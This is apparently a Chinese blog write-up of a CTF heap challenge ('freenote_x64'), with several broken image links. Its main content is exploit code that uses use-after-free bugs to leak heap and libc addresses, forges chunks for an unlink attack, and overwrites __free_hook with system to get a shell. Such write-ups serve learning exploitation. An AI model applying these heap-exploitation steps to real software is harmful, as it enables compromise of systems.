保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LUxec7QN-1648307049868)(unlink(freenote_x64)].assets/image-20220326225149078.png)](https://i-blog.csdnimg.cn/blog_migrate/7bef8cf61fb76ee608dd0fbd48b5c8af.png)
分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-17z0knM7-1648307049870)(unlink(freenote_x64)].assets/image-20220326225203435.png)](https://i-blog.csdnimg.cn/blog_migrate/2c7ddae467fae86fcae5bd71f1db22ae.png)
init_large_chunk
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KU8Yea1w-1648307049872)(unlink(freenote_x64)].assets/image-20220326225222819.png)](https://i-blog.csdnimg.cn/blog_migrate/b37604d827ff8904e5406b7110207e46.png)
show
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P8dDyNOd-1648307049873)(unlink(freenote_x64)].assets/image-20220326225236394.png)](https://i-blog.csdnimg.cn/blog_migrate/d1a4cb8f1e070f6c6908467b9569e237.png)
new
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tkvnccj8-1648307049874)(unlink(freenote_x64)].assets/image-20220326225248612.png)](https://i-blog.csdnimg.cn/blog_migrate/411b057382b681666636333bb7a348ff.png)
edit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wYGi7kyC-1648307049875)(unlink(freenote_x64)].assets/image-20220326225300092.png)](https://i-blog.csdnimg.cn/blog_migrate/e45d83956ca4572a0d3d5a3afc564dd7.png)
dele
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ff2tAhcD-1648307049878)(unlink(freenote_x64)].assets/image-20220326225315281.png)](https://i-blog.csdnimg.cn/blog_migrate/051a5c520fddfe855dbf0d07e31ab4e2.png)
malloc有限制,大小只能为0x80的整数倍如0x80、0x100、0x180
edit有个realloc函数且带有uaf漏洞
dele函数也有uaf漏洞,当时没注意到!!!
因为dele函数有uaf所以realloc的uaf漏洞本exp没用到。。。。。。
思路
因为有uaf就可以很方便的泄漏heap地址和libc地址
add(0x80,'0') #0
add(0x80,'1') #0
add(0x80,'2') #0
add(0x80,'3') #0
dele(0)
dele(2)
add(8,'0'*8) #0
add(8,'2'*8) #0
show()
ru('0'*8)
heap = info(rc(4),'heap') - (0x12c7940-0x12c6000)
ru('2'*8)
libc.address = info(rc(6),'libc') -(0x7f64dfb65b78-0x7f64df7a1000)
再去掉所有的堆块,便于后面伪造堆块
dele(3)
dele(2)
dele(1)
dele(0)
然后通过edit函数一次性伪造全部堆块,再进行unlink操作
target = heap + 0x30
payload = p64(0) + p64(0x111) + p64(target - 0x18) + p64(target - 0x10)
add(len(payload),payload)
payload = b'/bin/sh\x00' + b"A"*0x78 + p64(0x110) + p64(0x90) + b"B"*0x80
payload += p64(0) + p64(0x91) + b"C"*0x80
add(len(payload), payload)
dele(2)#unlink
getshell
payload = p64(1)*2 + p64(8) + p64(libc.symbols['__free_hook'])
edit(0,len(payload),payload)
payload = p64(libc.symbols['system'])
edit(0,len(payload),payload)
截图
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v0JUF1p6-1648307049879)(unlink(freenote_x64)].assets/image-20220326230021136.png)](https://i-blog.csdnimg.cn/blog_migrate/bd7fe99b321ec6f120dbb763cb40144b.png)
本文介绍了一种利用UAF漏洞的方法,通过精心构造的内存操作实现对内存的非法访问,进而泄露堆和库的地址,并最终获得shell权限。文章详细展示了如何通过删除和编辑操作伪造堆块,实现unlink漏洞触发。
482

被折叠的 条评论
为什么被折叠?



